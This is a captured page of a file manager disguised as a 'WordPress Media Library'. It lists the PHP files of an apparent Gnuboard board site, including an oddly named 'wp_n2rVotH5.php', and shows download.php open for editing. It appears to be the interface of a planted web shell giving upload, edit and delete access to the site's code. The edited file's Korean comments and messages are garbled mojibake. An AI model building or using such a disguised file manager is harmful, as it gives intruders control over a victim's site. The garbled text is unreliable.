โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: download.php
Size: 6.38 KB | Modified: 2020-10-22 09:25:29
<?php include_once('./_common.php'); // clean the output buffer ob_end_clean(); $no = (int)$no; @include_once($board_skin_path.'/download.head.skin.php'); // ์ฟ ํค์ ์ ์ฅ๋ ID๊ฐ๊ณผ ๋์ด์จ ID๊ฐ์ ๋น๊ตํ์ฌ ๊ฐ์ง ์์ ๊ฒฝ์ฐ ์ค๋ฅ ๋ฐ์ // ๋ค๋ฅธ๊ณณ์์ ๋งํฌ ๊ฑฐ๋๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํ ์ฝ๋ if (!get_session('ss_view_'.$bo_table.'_'.$wr_id)) alert('์๋ชป๋ ์ ๊ทผ์ ๋๋ค.'); // ๋ค์ด๋ก๋ ์ฐจ๊ฐ์ผ ๋ ๋นํ์์ ๋ค์ด๋ก๋ ๋ถ๊ฐ if($board['bo_download_point'] < 0 && $is_guest) alert('๋ค์ด๋ก๋ ๊ถํ์ด ์์ต๋๋ค.\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?wr_id='.$wr_id.'&'.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id))); $sql = " select * from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '$wr_id' and bf_no = '$no' "; $file = sql_fetch($sql); if (!$file['bf_file']) alert_close('ํ์ผ ์ ๋ณด๊ฐ ์กด์ฌํ์ง ์์ต๋๋ค.'); // JavaScript ๋ถ๊ฐ์ผ ๋ if($js != 'on' && $board['bo_download_point'] < 0) { $msg = $file['bf_source'].' ํ์ผ์ ๋ค์ด๋ก๋ ํ์๋ฉด ํฌ์ธํธ๊ฐ ์ฐจ๊ฐ('.number_format($board['bo_download_point']).'์ )๋ฉ๋๋ค.\\nํฌ์ธํธ๋ ๊ฒ์๋ฌผ๋น ํ๋ฒ๋ง ์ฐจ๊ฐ๋๋ฉฐ ๋ค์์ ๋ค์ ๋ค์ด๋ก๋ ํ์ ๋ ์ค๋ณตํ์ฌ ์ฐจ๊ฐํ์ง ์์ต๋๋ค.\\n๊ทธ๋๋ ๋ค์ด๋ก๋ ํ์๊ฒ ์ต๋๊น?'; $url1 = G5_BBS_URL.'/download.php?'.clean_query_string($_SERVER['QUERY_STRING'], false).'&js=on'; $url2 = clean_xss_tags($_SERVER['HTTP_REFERER']); if( $url2 && stripos($url2, $_SERVER['REQUEST_URI']) !== false ){ $url2 = G5_BBS_URL.'/board.php?'.clean_query_string($_SERVER['QUERY_STRING'], false); } //$url1 = ํ์ธlink, $url2=์ทจ์link // ํน์ ์ฃผ์๋ก ์ด๋์ํค๋ ค๋ฉด $url3 ์ด์ฉ confirm($msg, $url1, $url2); } if ($member['mb_level'] < $board['bo_download_level']) { $alert_msg = '๋ค์ด๋ก๋ ๊ถํ์ด ์์ต๋๋ค.'; if ($member['mb_id']) alert($alert_msg); else alert($alert_msg.'\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?wr_id='.$wr_id.'&'.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id))); } $filepath = G5_DATA_PATH.'/file/'.$bo_table.'/'.$file['bf_file']; $filepath = addslashes($filepath); $file_exist_check = (!is_file($filepath) || !file_exists($filepath)) ? false : true; if ( false === run_replace('download_file_exist_check', $file_exist_check, $file) ){ alert('ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค.'); } // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/download.skin.php'); // ์ด๋ฏธ ๋ค์ด๋ก๋ ๋ฐ์ ํ์ผ์ธ์ง๋ฅผ ๊ฒ์ฌํ ํ ๊ฒ์๋ฌผ๋น ํ๋ฒ๋ง ํฌ์ธํธ๋ฅผ ์ฐจ๊ฐํ๋๋ก ์์ $ss_name = 'ss_down_'.$bo_table.'_'.$wr_id; if (!get_session($ss_name)) { // ์์ ์ ๊ธ์ด๋ผ๋ฉด ํต๊ณผ // ๊ด๋ฆฌ์์ธ ๊ฒฝ์ฐ ํต๊ณผ if (($write['mb_id'] && $write['mb_id'] == $member['mb_id']) || $is_admin) ; else if ($board['bo_download_level'] >= 1) // ํ์์ด์ ๋ค์ด๋ก๋๊ฐ ๊ฐ๋ฅํ๋ค๋ฉด { // ๋ค์ด๋ก๋ ํฌ์ธํธ๊ฐ ์์์ด๊ณ ํ์์ ํฌ์ธํธ๊ฐ 0 ์ด๊ฑฐ๋ ์๋ค๋ฉด if ($member['mb_point'] + $board['bo_download_point'] < 0) alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member['mb_point']).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๋ค์ด๋ก๋('.number_format($board['bo_download_point']).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ์ ๋ฆฝํ์ ํ ๋ค์ ๋ค์ด๋ก๋ ํด ์ฃผ์ญ์์ค.'); // ๊ฒ์๋ฌผ๋น ํ๋ฒ๋ง ์ฐจ๊ฐํ๋๋ก ์์ insert_point($member['mb_id'], $board['bo_download_point'], "{$board['bo_subject']} $wr_id ํ์ผ ๋ค์ด๋ก๋", $bo_table, $wr_id, "๋ค์ด๋ก๋"); } set_session($ss_name, TRUE); } // ์ด๋ฏธ ๋ค์ด๋ก๋ ๋ฐ์ ํ์ผ์ธ์ง๋ฅผ ๊ฒ์ฌํ ํ ๋ค์ด๋ก๋ ์นด์ดํธ ์ฆ๊ฐ ( SIR ๊ทธ๋์์ฆ ๋ ์ฝ๋ ์ ์ ) $ss_name = 'ss_down_'.$bo_table.'_'.$wr_id.'_'.$no; if (!get_session($ss_name)) { // ๋ค์ด๋ก๋ ์นด์ดํธ ์ฆ๊ฐ $sql = " update {$g5['board_file_table']} set bf_download = bf_download + 1 where bo_table = '$bo_table' and wr_id = '$wr_id' and bf_no = '$no' "; sql_query($sql); // ๋ค์ด๋ก๋ ์นด์ดํธ๋ฅผ ์ฆ๊ฐ์ํค๊ณ ์ธ์ ์ ์์ฑ $_SESSION[$ss_name] = true; } $g5['title'] = '๋ค์ด๋ก๋ > '.conv_subject($write['wr_subject'], 255); //ํ์ผ๋ช ์ ํ๊ธ์ด ์๋ ๊ฒฝ์ฐ /* if(preg_match("/[\xA1-\xFE][\xA1-\xFE]/", $file['bf_source'])){ // 2015.09.02 ๋ ์ง์ ํ์ด์ดํญ์ค์์ ์ธ์ฝ๋ฉ๋ ๋ฌธ์ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๋ฌธ์ ๊ฐ ๋ฐ์๋จ, 2018.12.11 ๋ ์ง์ ํ์ด์ดํญ์ค์์๋ ํด๋น ํ์์ด ์์ผ๋ฏ๋ก ํด๋น ์ฝ๋๋ฅผ ์ฌ์ฉ ์ํฉ๋๋ค. $original = iconv('utf-8', 'euc-kr', $file['bf_source']); // SIR ์๋ผ๋ ์ ์์ฝ๋ } else { $original = urlencode($file['bf_source']); } */ //$original = urlencode($file['bf_source']); $original = rawurlencode($file['bf_source']); @include_once($board_skin_path.'/download.tail.skin.php'); run_event('download_file_header', $file, $file_exist_check); if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) { header("content-type: doesn/matter"); header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-transfer-encoding: binary"); } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){ header("content-type: file/unknown"); header("content-length: ".filesize($filepath)); //header("content-disposition: attachment; filename=\"".basename($file['bf_source'])."\""); header("content-disposition: attachment; filename=\"".$original."\""); header("content-description: php generated data"); } else { header("content-type: file/unknown"); header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); } header("pragma: no-cache"); header("expires: 0"); flush(); $fp = fopen($filepath, 'rb'); // 4.00 ๋์ฒด // ์๋ฒ๋ถํ๋ฅผ ์ค์ด๋ ค๋ฉด print ๋ echo ๋๋ while ๋ฌธ์ ์ด์ฉํ ๋ฐฉ๋ฒ๋ณด๋ค๋ ์ด๋ฐฉ๋ฒ์ด... //if (!fpassthru($fp)) { // fclose($fp); //} $download_rate = 10; while(!feof($fp)) { //echo fread($fp, 100*1024); /* echo fread($fp, 100*1024); flush(); */ print fread($fp, round($download_rate * 1024)); flush(); usleep(1000); } fclose ($fp); flush(); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete